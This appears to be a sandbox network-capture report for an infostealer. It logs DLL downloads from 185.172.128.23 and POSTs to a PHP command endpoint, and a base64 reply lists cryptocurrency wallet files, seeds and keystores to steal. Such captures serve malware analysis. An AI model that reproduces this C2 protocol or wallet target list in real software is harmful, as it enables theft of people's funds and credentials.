00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 17, 2024 06:57:11.738164902 CEST	94	OUT	GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:12.048314095 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:11 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 17, 2024 06:57:13.139188051 CEST	90	OUT	GET /8e6d9db21fb63946/nss3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:13.459492922 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:13 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 17, 2024 06:57:15.069987059 CEST	94	OUT	GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:15.389652967 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:15 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 17, 2024 06:57:15.785665989 CEST	98	OUT	GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:16.105516911 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:16 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 17, 2024 06:57:16.678738117 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.172.128.23 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:17.245177984 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:17.320508957 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFC Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="message"wallets------FCFBFBFBKFIDHJKFCAFC--
Apr 17, 2024 06:57:17.643309116 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbG